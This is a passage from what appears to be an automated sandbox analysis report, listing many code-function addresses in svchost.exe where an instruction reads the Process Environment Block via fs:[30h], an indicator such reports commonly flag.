Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	8_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	8_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	8_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	8_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3A3C0 mov eax, dword ptr fs:[00000030h]	8_2_02F3A3C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F383C0 mov eax, dword ptr fs:[00000030h]	8_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F383C0 mov eax, dword ptr fs:[00000030h]	8_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F383C0 mov eax, dword ptr fs:[00000030h]	8_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F383C0 mov eax, dword ptr fs:[00000030h]	8_2_02F383C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F28397 mov eax, dword ptr fs:[00000030h]	8_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F28397 mov eax, dword ptr fs:[00000030h]	8_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F28397 mov eax, dword ptr fs:[00000030h]	8_2_02F28397
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2E388 mov eax, dword ptr fs:[00000030h]	8_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2E388 mov eax, dword ptr fs:[00000030h]	8_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2E388 mov eax, dword ptr fs:[00000030h]	8_2_02F2E388
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5438F mov eax, dword ptr fs:[00000030h]	8_2_02F5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5438F mov eax, dword ptr fs:[00000030h]	8_2_02F5438F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD437C mov eax, dword ptr fs:[00000030h]	8_2_02FD437C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB035C mov eax, dword ptr fs:[00000030h]	8_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB035C mov eax, dword ptr fs:[00000030h]	8_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB035C mov eax, dword ptr fs:[00000030h]	8_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB035C mov ecx, dword ptr fs:[00000030h]	8_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB035C mov eax, dword ptr fs:[00000030h]	8_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB035C mov eax, dword ptr fs:[00000030h]	8_2_02FB035C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FFA352 mov eax, dword ptr fs:[00000030h]	8_2_02FFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD8350 mov ecx, dword ptr fs:[00000030h]	8_2_02FD8350
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB2349 mov eax, dword ptr fs:[00000030h]	8_2_02FB2349
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2C310 mov ecx, dword ptr fs:[00000030h]	8_2_02F2C310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F50310 mov ecx, dword ptr fs:[00000030h]	8_2_02F50310
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6A30B mov eax, dword ptr fs:[00000030h]	8_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6A30B mov eax, dword ptr fs:[00000030h]	8_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6A30B mov eax, dword ptr fs:[00000030h]	8_2_02F6A30B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2C0F0 mov eax, dword ptr fs:[00000030h]	8_2_02F2C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F720F0 mov ecx, dword ptr fs:[00000030h]	8_2_02F720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2A0E3 mov ecx, dword ptr fs:[00000030h]	8_2_02F2A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F380E9 mov eax, dword ptr fs:[00000030h]	8_2_02F380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB60E0 mov eax, dword ptr fs:[00000030h]	8_2_02FB60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB20DE mov eax, dword ptr fs:[00000030h]	8_2_02FB20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF60B8 mov eax, dword ptr fs:[00000030h]	8_2_02FF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF60B8 mov ecx, dword ptr fs:[00000030h]	8_2_02FF60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC80A8 mov eax, dword ptr fs:[00000030h]	8_2_02FC80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3208A mov eax, dword ptr fs:[00000030h]	8_2_02F3208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5C073 mov eax, dword ptr fs:[00000030h]	8_2_02F5C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F32050 mov eax, dword ptr fs:[00000030h]	8_2_02F32050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB6050 mov eax, dword ptr fs:[00000030h]	8_2_02FB6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC6030 mov eax, dword ptr fs:[00000030h]	8_2_02FC6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2A020 mov eax, dword ptr fs:[00000030h]	8_2_02F2A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2C020 mov eax, dword ptr fs:[00000030h]	8_2_02F2C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4E016 mov eax, dword ptr fs:[00000030h]	8_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4E016 mov eax, dword ptr fs:[00000030h]	8_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4E016 mov eax, dword ptr fs:[00000030h]	8_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4E016 mov eax, dword ptr fs:[00000030h]	8_2_02F4E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_030061E5 mov eax, dword ptr fs:[00000030h]	8_2_030061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB4000 mov ecx, dword ptr fs:[00000030h]	8_2_02FB4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD2000 mov eax, dword ptr fs:[00000030h]	8_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD2000 mov eax, dword ptr fs:[00000030h]	8_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD2000 mov eax, dword ptr fs:[00000030h]	8_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD2000 mov eax, dword ptr fs:[00000030h]	8_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD2000 mov eax, dword ptr fs:[00000030h]	8_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD2000 mov eax, dword ptr fs:[00000030h]	8_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD2000 mov eax, dword ptr fs:[00000030h]	8_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD2000 mov eax, dword ptr fs:[00000030h]	8_2_02FD2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F601F8 mov eax, dword ptr fs:[00000030h]	8_2_02F601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	8_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	8_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAE1D0 mov ecx, dword ptr fs:[00000030h]	8_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	8_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAE1D0 mov eax, dword ptr fs:[00000030h]	8_2_02FAE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF61C3 mov eax, dword ptr fs:[00000030h]	8_2_02FF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF61C3 mov eax, dword ptr fs:[00000030h]	8_2_02FF61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB019F mov eax, dword ptr fs:[00000030h]	8_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB019F mov eax, dword ptr fs:[00000030h]	8_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB019F mov eax, dword ptr fs:[00000030h]	8_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB019F mov eax, dword ptr fs:[00000030h]	8_2_02FB019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2A197 mov eax, dword ptr fs:[00000030h]	8_2_02F2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2A197 mov eax, dword ptr fs:[00000030h]	8_2_02F2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2A197 mov eax, dword ptr fs:[00000030h]	8_2_02F2A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F70185 mov eax, dword ptr fs:[00000030h]	8_2_02F70185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FEC188 mov eax, dword ptr fs:[00000030h]	8_2_02FEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FEC188 mov eax, dword ptr fs:[00000030h]	8_2_02FEC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD4180 mov eax, dword ptr fs:[00000030h]	8_2_02FD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD4180 mov eax, dword ptr fs:[00000030h]	8_2_02FD4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2C156 mov eax, dword ptr fs:[00000030h]	8_2_02F2C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC8158 mov eax, dword ptr fs:[00000030h]	8_2_02FC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F36154 mov eax, dword ptr fs:[00000030h]	8_2_02F36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F36154 mov eax, dword ptr fs:[00000030h]	8_2_02F36154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC4144 mov eax, dword ptr fs:[00000030h]	8_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC4144 mov eax, dword ptr fs:[00000030h]	8_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC4144 mov ecx, dword ptr fs:[00000030h]	8_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC4144 mov eax, dword ptr fs:[00000030h]	8_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FC4144 mov eax, dword ptr fs:[00000030h]	8_2_02FC4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F60124 mov eax, dword ptr fs:[00000030h]	8_2_02F60124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDA118 mov ecx, dword ptr fs:[00000030h]	8_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDA118 mov eax, dword ptr fs:[00000030h]	8_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDA118 mov eax, dword ptr fs:[00000030h]	8_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDA118 mov eax, dword ptr fs:[00000030h]	8_2_02FDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF0115 mov eax, dword ptr fs:[00000030h]	8_2_02FF0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE10E mov eax, dword ptr fs:[00000030h]	8_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE10E mov ecx, dword ptr fs:[00000030h]	8_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE10E mov eax, dword ptr fs:[00000030h]	8_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE10E mov eax, dword ptr fs:[00000030h]	8_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE10E mov ecx, dword ptr fs:[00000030h]	8_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE10E mov eax, dword ptr fs:[00000030h]	8_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE10E mov eax, dword ptr fs:[00000030h]	8_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE10E mov ecx, dword ptr fs:[00000030h]	8_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE10E mov eax, dword ptr fs:[00000030h]	8_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FDE10E mov ecx, dword ptr fs:[00000030h]	8_2_02FDE10E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	8_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	8_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	8_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAE6F2 mov eax, dword ptr fs:[00000030h]	8_2_02FAE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB06F1 mov eax, dword ptr fs:[00000030h]	8_2_02FB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB06F1 mov eax, dword ptr fs:[00000030h]	8_2_02FB06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6A6C7 mov ebx, dword ptr fs:[00000030h]	8_2_02F6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6A6C7 mov eax, dword ptr fs:[00000030h]	8_2_02F6A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F666B0 mov eax, dword ptr fs:[00000030h]	8_2_02F666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6C6A6 mov eax, dword ptr fs:[00000030h]	8_2_02F6C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F34690 mov eax, dword ptr fs:[00000030h]	8_2_02F34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F34690 mov eax, dword ptr fs:[00000030h]	8_2_02F34690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F62674 mov eax, dword ptr fs:[00000030h]	8_2_02F62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF866E mov eax, dword ptr fs:[00000030h]	8_2_02FF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FF866E mov eax, dword ptr fs:[00000030h]	8_2_02FF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6A660 mov eax, dword ptr fs:[00000030h]	8_2_02F6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6A660 mov eax, dword ptr fs:[00000030h]	8_2_02F6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4C640 mov eax, dword ptr fs:[00000030h]	8_2_02F4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4E627 mov eax, dword ptr fs:[00000030h]	8_2_02F4E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F66620 mov eax, dword ptr fs:[00000030h]	8_2_02F66620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F68620 mov eax, dword ptr fs:[00000030h]	8_2_02F68620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3262C mov eax, dword ptr fs:[00000030h]	8_2_02F3262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72619 mov eax, dword ptr fs:[00000030h]	8_2_02F72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAE609 mov eax, dword ptr fs:[00000030h]	8_2_02FAE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4260B mov eax, dword ptr fs:[00000030h]	8_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4260B mov eax, dword ptr fs:[00000030h]	8_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4260B mov eax, dword ptr fs:[00000030h]	8_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4260B mov eax, dword ptr fs:[00000030h]	8_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4260B mov eax, dword ptr fs:[00000030h]	8_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4260B mov eax, dword ptr fs:[00000030h]	8_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F4260B mov eax, dword ptr fs:[00000030h]	8_2_02F4260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F347FB mov eax, dword ptr fs:[00000030h]	8_2_02F347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F347FB mov eax, dword ptr fs:[00000030h]	8_2_02F347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F527ED mov eax, dword ptr fs:[00000030h]	8_2_02F527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F527ED mov eax, dword ptr fs:[00000030h]	8_2_02F527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F527ED mov eax, dword ptr fs:[00000030h]	8_2_02F527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FBE7E1 mov eax, dword ptr fs:[00000030h]	8_2_02FBE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F3C7C0 mov eax, dword ptr fs:[00000030h]	8_2_02F3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB07C3 mov eax, dword ptr fs:[00000030h]	8_2_02FB07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F307AF mov eax, dword ptr fs:[00000030h]	8_2_02F307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FE47A0 mov eax, dword ptr fs:[00000030h]	8_2_02FE47A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FD678E mov eax, dword ptr fs:[00000030h]	8_2_02FD678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F38770 mov eax, dword ptr fs:[00000030h]	8_2_02F38770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F40770 mov eax, dword ptr fs:[00000030h]	8_2_02F40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F30750 mov eax, dword ptr fs:[00000030h]	8_2_02F30750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FBE75D mov eax, dword ptr fs:[00000030h]	8_2_02FBE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72750 mov eax, dword ptr fs:[00000030h]	8_2_02F72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F72750 mov eax, dword ptr fs:[00000030h]	8_2_02F72750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FB4755 mov eax, dword ptr fs:[00000030h]	8_2_02FB4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6674D mov esi, dword ptr fs:[00000030h]	8_2_02F6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6674D mov eax, dword ptr fs:[00000030h]	8_2_02F6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6674D mov eax, dword ptr fs:[00000030h]	8_2_02F6674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6273C mov eax, dword ptr fs:[00000030h]	8_2_02F6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6273C mov ecx, dword ptr fs:[00000030h]	8_2_02F6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6273C mov eax, dword ptr fs:[00000030h]	8_2_02F6273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FAC730 mov eax, dword ptr fs:[00000030h]	8_2_02FAC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6C720 mov eax, dword ptr fs:[00000030h]	8_2_02F6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6C720 mov eax, dword ptr fs:[00000030h]	8_2_02F6C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F30710 mov eax, dword ptr fs:[00000030h]	8_2_02F30710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F60710 mov eax, dword ptr fs:[00000030h]	8_2_02F60710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6C700 mov eax, dword ptr fs:[00000030h]	8_2_02F6C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03004500 mov eax, dword ptr fs:[00000030h]	8_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03004500 mov eax, dword ptr fs:[00000030h]	8_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03004500 mov eax, dword ptr fs:[00000030h]	8_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03004500 mov eax, dword ptr fs:[00000030h]	8_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03004500 mov eax, dword ptr fs:[00000030h]	8_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03004500 mov eax, dword ptr fs:[00000030h]	8_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_03004500 mov eax, dword ptr fs:[00000030h]	8_2_03004500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F304E5 mov ecx, dword ptr fs:[00000030h]	8_2_02F304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F644B0 mov ecx, dword ptr fs:[00000030h]	8_2_02F644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FBA4B0 mov eax, dword ptr fs:[00000030h]	8_2_02FBA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F364AB mov eax, dword ptr fs:[00000030h]	8_2_02F364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FEA49A mov eax, dword ptr fs:[00000030h]	8_2_02FEA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5A470 mov eax, dword ptr fs:[00000030h]	8_2_02F5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5A470 mov eax, dword ptr fs:[00000030h]	8_2_02F5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5A470 mov eax, dword ptr fs:[00000030h]	8_2_02F5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FBC460 mov ecx, dword ptr fs:[00000030h]	8_2_02FBC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02FEA456 mov eax, dword ptr fs:[00000030h]	8_2_02FEA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F2645D mov eax, dword ptr fs:[00000030h]	8_2_02F2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F5245A mov eax, dword ptr fs:[00000030h]	8_2_02F5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6E443 mov eax, dword ptr fs:[00000030h]	8_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6E443 mov eax, dword ptr fs:[00000030h]	8_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6E443 mov eax, dword ptr fs:[00000030h]	8_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6E443 mov eax, dword ptr fs:[00000030h]	8_2_02F6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 8_2_02F6E443 mov eax, dword ptr fs:[00000030h]	8_2_02F6E443
